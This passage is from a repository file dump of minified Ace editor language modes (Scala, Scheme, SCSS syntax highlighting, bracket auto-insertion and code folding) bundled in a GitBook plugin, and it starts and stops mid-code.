r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),define(\"ace/mode/scala_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=\"case|default|do|else|for|if|match|while|throw|return|try|trye|catch|finally|yield|abstract|class|def|extends|final|forSome|implicit|implicits|import|lazy|new|object|null|override|package|private|protected|sealed|super|this|trait|type|val|var|with|assert|assume|require|print|println|printf|readLine|readBoolean|readByte|readShort|readChar|readInt|readLong|readFloat|readDouble\",t=\"true|false\",n=\"AbstractMethodError|AssertionError|ClassCircularityError|ClassFormatError|Deprecated|EnumConstantNotPresentException|ExceptionInInitializerError|IllegalAccessError|IllegalThreadStateException|InstantiationError|InternalError|NegativeArraySizeException|NoSuchFieldError|Override|Process|ProcessBuilder|SecurityManager|StringIndexOutOfBoundsException|SuppressWarnings|TypeNotPresentException|UnknownError|UnsatisfiedLinkError|UnsupportedClassVersionError|VerifyError|InstantiationException|IndexOutOfBoundsException|ArrayIndexOutOfBoundsException|CloneNotSupportedException|NoSuchFieldException|IllegalArgumentException|NumberFormatException|SecurityException|Void|InheritableThreadLocal|IllegalStateException|InterruptedException|NoSuchMethodException|IllegalAccessException|UnsupportedOperationException|Enum|StrictMath|Package|Compiler|Readable|Runtime|StringBuilder|Math|IncompatibleClassChangeError|NoSuchMethodError|ThreadLocal|RuntimePermission|ArithmeticException|NullPointerException|Long|Integer|Short|Byte|Double|Number|Float|Character|Boolean|StackTraceElement|Appendable|StringBuffer|Iterable|ThreadGroup|Runnable|Thread|IllegalMonitorStateException|StackOverflowError|OutOfMemoryError|VirtualMachineError|ArrayStoreException|ClassCastException|LinkageError|NoClassDefFoundError|ClassNotFoundException|RuntimeException|Exception|ThreadDeath|Error|Throwable|System|ClassLoader|Cloneable|Class|CharSequence|Comparable|String|Object|Unit|Any|AnyVal|AnyRef|Null|ScalaObject|Singleton|Seq|Iterable|List|Option|Array|Char|Byte|Int|Long|Nothing|App|Application|BufferedIterator|BigDecimal|BigInt|Console|Either|Enumeration|Equiv|Fractional|Function|IndexedSeq|Integral|Iterator|Map|Numeric|Nil|NotNull|Ordered|Ordering|PartialFunction|PartialOrdering|Product|Proxy|Range|Responder|Seq|Serializable|Set|Specializable|Stream|StringContext|Symbol|Traversable|TraversableOnce|Tuple|Vector|Pair|Triple\",r=this.createKeywordMapper({\"variable.language\":\"this\",keyword:e,\"support.function\":n,\"constant.language\":t},\"identifier\");this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\/.*$\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string.regexp\",regex:\"[/](?:(?:\\\\[(?:\\\\\\\\]|[^\\\\]])+\\\\])|(?:\\\\\\\\/|[^\\\\]/]))*[/]\\\\w*\\\\s*(?=[).,;]|$)\"},{token:\"string\",regex:'\"\"\"',next:\"tstring\"},{token:\"string\",regex:'\"(?=.)',next:\"string\"},{token:\"symbol.constant\",regex:\"'[\\\\w\\\\d_]+\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"constant.language.boolean\",regex:\"(?:true|false)\\\\b\"},{token:r,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|instanceof|new|delete|typeof|void)\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}],string:[{token:\"escape\",regex:'\\\\\\\\\"'},{token:\"string\",regex:'\"',next:\"start\"},{token:\"string.invalid\",regex:'[^\"\\\\\\\\]*$',next:\"start\"},{token:\"string\",regex:'[^\"\\\\\\\\]+'}],tstring:[{token:\"string\",regex:'\"{3,5}',next:\"start\"},{token:\"string\",regex:\".+?\"}]},this.embedRules(i,\"doc-\",[i.getEndRule(\"start\")])};r.inherits(o,s),t.ScalaHighlightRules=o}),define(\"ace/mode/scala\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/javascript\",\"ace/mode/scala_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./javascript\").Mode,s=e(\"./scala_highlight_rules\").ScalaHighlightRules,o=function(){i.call(this),this.HighlightRules=s};r.inherits(o,i),function(){this.createWorker=function(e){return null},this.$id=\"ace/mode/scala\"}.call(o.prototype),t.Mode=o})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-scheme.js",
    "content": "define(\"ace/mode/scheme_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"case|do|let|loop|if|else|when\",t=\"eq?|eqv?|equal?|and|or|not|null?\",n=\"#t|#f\",r=\"cons|car|cdr|cond|lambda|lambda*|syntax-rules|format|set!|quote|eval|append|list|list?|member?|load\",i=this.createKeywordMapper({\"keyword.control\":e,\"keyword.operator\":t,\"constant.language\":n,\"support.function\":r},\"identifier\",!0);this.$rules={start:[{token:\"comment\",regex:\";.*$\"},{token:[\"storage.type.function-type.scheme\",\"text\",\"entity.name.function.scheme\"],regex:\"(?:\\\\b(?:(define|define-syntax|define-macro))\\\\b)(\\\\s+)((?:\\\\w|\\\\-|\\\\!|\\\\?)*)\"},{token:\"punctuation.definition.constant.character.scheme\",regex:\"#:\\\\S+\"},{token:[\"punctuation.definition.variable.scheme\",\"variable.other.global.scheme\",\"punctuation.definition.variable.scheme\"],regex:\"(\\\\*)(\\\\S*)(\\\\*)\"},{token:\"constant.numeric\",regex:\"#[xXoObB][0-9a-fA-F]+\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\"},{token:i,regex:\"[a-zA-Z_#][a-zA-Z0-9_\\\\-\\\\?\\\\!\\\\*]*\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"}],qqstring:[{token:\"constant.character.escape.scheme\",regex:\"\\\\\\\\.\"},{token:\"string\",regex:'[^\"\\\\\\\\]+',merge:!0},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\",merge:!0},{token:\"string\",regex:'\"|$',next:\"start\",merge:!0}]}};r.inherits(s,i),t.SchemeHighlightRules=s}),define(\"ace/mode/matching_parens_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\)/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\))/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){var t=e.match(/^(\\s+)/);return t?t[1]:\"\"}}).call(i.prototype),t.MatchingParensOutdent=i}),define(\"ace/mode/scheme\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/scheme_highlight_rules\",\"ace/mode/matching_parens_outdent\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./scheme_highlight_rules\").SchemeHighlightRules,o=e(\"./matching_parens_outdent\").MatchingParensOutdent,u=function(){this.HighlightRules=s,this.$outdent=new o};r.inherits(u,i),function(){this.lineCommentStart=\";\",this.minorIndentFunctions=[\"define\",\"lambda\",\"define-macro\",\"define-syntax\",\"syntax-rules\",\"define-record-type\",\"define-structure\"],this.$toIndent=function(e){return e.split(\"\").map(function(e){return/\\s/.exec(e)?e:\" \"}).join(\"\")},this.$calculateIndent=function(e,t){var n=this.$getIndent(e),r=0,i,s;for(var o=e.length-1;o>=0;o--){s=e[o],s===\"(\"?(r--,i=!0):s===\"(\"||s===\"[\"||s===\"{\"?(r--,i=!1):(s===\")\"||s===\"]\"||s===\"}\")&&r++;if(r<0)break}if(!(r<0&&i))return r<0&&!i?this.$toIndent(e.substring(0,o+1)):r>0?(n=n.substring(0,n.length-t.length),n):n;o+=1;var u=o,a=\"\";for(;;){s=e[o];if(s===\" \"||s===\"\t\")return this.minorIndentFunctions.indexOf(a)!==-1?this.$toIndent(e.substring(0,u-1)+t):this.$toIndent(e.substring(0,o+1));if(s===undefined)return this.$toIndent(e.substring(0,u-1)+t);a+=e[o],o++}},this.getNextLineIndent=function(e,t,n){return this.$calculateIndent(t,n)},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/scheme\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-scss.js",
    "content": "define(\"ace/mode/scss_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=i.arrayToMap(function(){var e=\"-webkit-|-moz-|-o-|-ms-|-svg-|-pie-|-khtml-\".split(\"|\"),t=\"appearance|background-clip|background-inline-policy|background-origin|background-size|binding|border-bottom-colors|border-left-colors|border-right-colors|border-top-colors|border-end|border-end-color|border-end-style|border-end-width|border-image|border-start|border-start-color|border-start-style|border-start-width|box-align|box-direction|box-flex|box-flexgroup|box-ordinal-group|box-orient|box-pack|box-sizing|column-count|column-gap|column-width|column-rule|column-rule-width|column-rule-style|column-rule-color|float-edge|font-feature-settings|font-language-override|force-broken-image-icon|image-region|margin-end|margin-start|opacity|outline|outline-color|outline-offset|outline-radius|outline-radius-bottomleft|outline-radius-bottomright|outline-radius-topleft|outline-radius-topright|outline-style|outline-width|padding-end|padding-start|stack-sizing|tab-size|text-blink|text-decoration-color|text-decoration-line|text-decoration-style|transform|transform-origin|transition|transition-delay|transition-duration|transition-property|transition-timing-function|user-focus|user-input|user-modify|user-select|window-shadow|border-radius\".split(\"|\"),n=\"azimuth|background-attachment|background-color|background-image|background-position|background-repeat|background|border-bottom-color|border-bottom-style|border-bottom-width|border-bottom|border-collapse|border-color|border-left-color|border-left-style|border-left-width|border-left|border-right-color|border-right-style|border-right-width|border-right|border-spacing|border-style|border-top-color|border-top-style|border-top-width|border-top|border-width|border|bottom|box-shadow|box-sizing|caption-side|clear|clip|color|content|counter-increment|counter-reset|cue-after|cue-before|cue|cursor|direction|display|elevation|empty-cells|float|font-family|font-size-adjust|font-size|font-stretch|font-style|font-variant|font-weight|font|height|left|letter-spacing|line-height|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|marker-offset|margin|marks|max-height|max-width|min-height|min-width|opacity|orphans|outline-color|outline-style|outline-width|outline|overflow|overflow-x|overflow-y|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page|pause-after|pause-before|pause|pitch-range|pitch|play-during|position|quotes|richness|right|size|speak-header|speak-numeral|speak-punctuation|speech-rate|speak|stress|table-layout|text-align|text-decoration|text-indent|text-shadow|text-transform|top|unicode-bidi|vertical-align|visibility|voice-family|volume|white-space|widows|width|word-spacing|z-index\".split(\"|\"),r=[];for(var i=0,s=e.length;i<s;i++)Array.prototype.push.apply(r,(e[i]+t.join(\"|\"+e[i])).split(\"|\"));return Array.prototype.push.apply(r,t),Array.prototype.push.apply(r,n),r}()),t=i.arrayToMap(\"hsl|hsla|rgb|rgba|url|attr|counter|counters|abs|adjust_color|adjust_hue|alpha|join|blue|ceil|change_color|comparable|complement|darken|desaturate|floor|grayscale|green|hue|if|invert|join|length|lighten|lightness|mix|nth|opacify|opacity|percentage|quote|red|round|saturate|saturation|scale_color|transparentize|type_of|unit|unitless|unqoute\".split(\"|\")),n=i.arrayToMap(\"absolute|all-scroll|always|armenian|auto|baseline|below|bidi-override|block|bold|bolder|border-box|both|bottom|break-all|break-word|capitalize|center|char|circle|cjk-ideographic|col-resize|collapse|content-box|crosshair|dashed|decimal-leading-zero|decimal|default|disabled|disc|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ellipsis|fixed|georgian|groove|hand|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|inactive|inherit|inline-block|inline|inset|inside|inter-ideograph|inter-word|italic|justify|katakana-iroha|katakana|keep-all|left|lighter|line-edge|line-through|line|list-item|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|medium|middle|move|n-resize|ne-resize|newspaper|no-drop|no-repeat|nw-resize|none|normal|not-allowed|nowrap|oblique|outset|outside|overline|pointer|progress|relative|repeat-x|repeat-y|repeat|right|ridge|row-resize|rtl|s-resize|scroll|se-resize|separate|small-caps|solid|square|static|strict|super|sw-resize|table-footer-group|table-header-group|tb-rl|text-bottom|text-top|text|thick|thin|top|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|zero\".split(\"|\")),r=i.arrayToMap(\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\".split(\"|\")),s=i.arrayToMap(\"@mixin|@extend|@include|@import|@media|@debug|@warn|@if|@for|@each|@while|@else|@font-face|@-webkit-keyframes|if|and|!default|module|def|end|declare\".split(\"|\")),o=i.arrayToMap(\"a|abbr|acronym|address|applet|area|article|aside|audio|b|base|basefont|bdo|big|blockquote|body|br|button|canvas|caption|center|cite|code|col|colgroup|command|datalist|dd|del|details|dfn|dir|div|dl|dt|em|embed|fieldset|figcaption|figure|font|footer|form|frame|frameset|h1|h2|h3|h4|h5|h6|head|header|hgroup|hr|html|i|iframe|img|input|ins|keygen|kbd|label|legend|li|link|map|mark|menu|meta|meter|nav|noframes|noscript|object|ol|optgroup|option|output|p|param|pre|progress|q|rp|rt|ruby|s|samp|script|section|select|small|source|span|strike|strong|style|sub|summary|sup|table|tbody|td|textarea|tfoot|th|thead|time|title|tr|tt|u|ul|var|video|wbr|xmp\".split(\"|\")),u=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\";this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\/.*$\"},{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:'[\"].*\\\\\\\\$',next:\"qqstring\"},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"string\",regex:\"['].*\\\\\\\\$\",next:\"qstring\"},{token:\"constant.numeric\",regex:u+\"(?:em|ex|px|cm|mm|in|pt|pc|deg|rad|grad|ms|s|hz|khz|%)\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:\"constant.numeric\",regex:u},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:function(i){return e.hasOwnProperty(i.toLowerCase())?\"support.type\":s.hasOwnProperty(i)?\"keyword\":n.hasOwnProperty(i)?\"constant.language\":t.hasOwnProperty(i)?\"support.function\":r.hasOwnProperty(i.toLowerCase())?\"support.constant.color\":o.hasOwnProperty(i.toLowerCase())?\"variable.language\":\"text\"},regex:\"\\\\-?[@a-z_][@a-z0-9_\\\\-]*\"},{token:\"variable\",regex:\"[a-z_\\\\-$][a-z0-9_\\\\-$]*\\\\b\"},{token:\"variable.language\",regex:\"#[a-z0-9-_]+\"},{token:\"variable.language\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"variable.language\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{token:\"keyword.operator\",regex:\"<|>|<=|>=|==|!=|-|%|#|\\\\+|\\\\$|\\\\+|\\\\*\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}],qqstring:[{token:\"string\",regex:'(?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?\"',next:\"start\"},{token:\"string\",regex:\".+\"}],qstring:[{token:\"string\",regex:\"(?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?'\",next:\"start\"},{token:\"string\",regex:\".+\"}]}};r.inherits(o,s),t.ScssHighlightRules=o}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var 